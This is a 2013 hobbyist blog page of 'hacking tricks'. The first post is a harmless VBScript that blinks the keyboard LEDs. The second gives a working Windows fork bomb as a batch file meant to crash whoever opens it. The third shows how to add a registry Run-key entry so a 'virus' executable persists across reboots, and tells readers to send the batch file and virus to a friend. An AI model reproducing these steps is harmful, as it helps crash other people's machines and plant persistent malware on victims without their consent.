Shahnawaz's Blog: learning

Wednesday, 8 May 2013

MAKE YOUR KEYBOARD LIGHTS ACT AS A DISCO LIGHT

03:39 Posted by Unknown hacking, learning, tricks No comments

You can make your keyboard lights as a disco lights by the following steps:

1.Open notepad.You can open notepad by doing a right click on your desktop and then new->text document.

2.Copy and paste the code below into the notepad

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop

3.Save the file with name disco.vbs

4.Double click on the saved file and your keyboard Led’s will start blinking like disco lights.

5.To stop the disco lights open task manager.You can open task manager by doing a right click on your taskbar and then selecting task manager.

6.Now locate wscript.exe and select it.Click on “ End Process “.

CRASH A SYSTEM

03:36 Posted by Unknown hacking, learning, tricks No comments

Here is a short article about fork bomb by Shahnawaz Alam.

Fork bomb for crashing system is a smallest writable virus as it contains on 5 Characters. Fork bombs count as wabbits: they typically do not spread as worms or viruses.

The concept behind the fork bomb: the processes recursively fork until a denial of service or a crash occurs. Fork Bomb creates a large number of processes very quickly and break the limitation of processes that can run on a system. It's dead simple: A program just replicate itself, which again replicate itself and so on until all resources are exhausted.

A fork bomb generally creates two instances at startup, further each of created processes creates two instances and so on…The processes recursively fork; this “forks” the processor and jamm it completely until a crash occurs. It use forks to do system crash, so its called Fork Bomb

See, How to create it:

1. Fork Bomb for windows:
Write the following code in notepad and save it with *.bat* extension say Shahnawaz.bat

%0|%0

Once anyone will do double click on this bat file, his system will jamm.

CREATING VIRUSES WITHIN MINUTES

03:31 Posted by Unknown hacking, learning No comments

Hello guys,

You must be familiar with viruses and probably you must be knowing how we can create them. Once

the virus get executed it will show its impact but it will last till the system is turn on, If

you will turn off the system all the process of the virus will also get killed.

So our requirement is to run our virus again even if the system get rebooted. So for that we

will have to send our virus on start up. But we don’t want to send it manually instead of that

we would like to send it with the help of batch file.

So let us take we are having a virus demo.exe.

Follow the following steps for sending it on Start up.

1. Open a Notepad file

2. Write down the following command

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v demo /t REG_SZ /d demo.exe

3. Now save the notepad file with any name say Shahnawaz but extension should be *.bat*. Means

we will have to create a batch file eg: Shahnawaz.bat

4. Now send Shahnawaz.bat along with demo.exe virus to your friend. Whenever he will click on

Shahnawaz.bat file automatically demo.exe will reach at the start up.

5. Now the impact of the virus will also be visible after the restart of the system.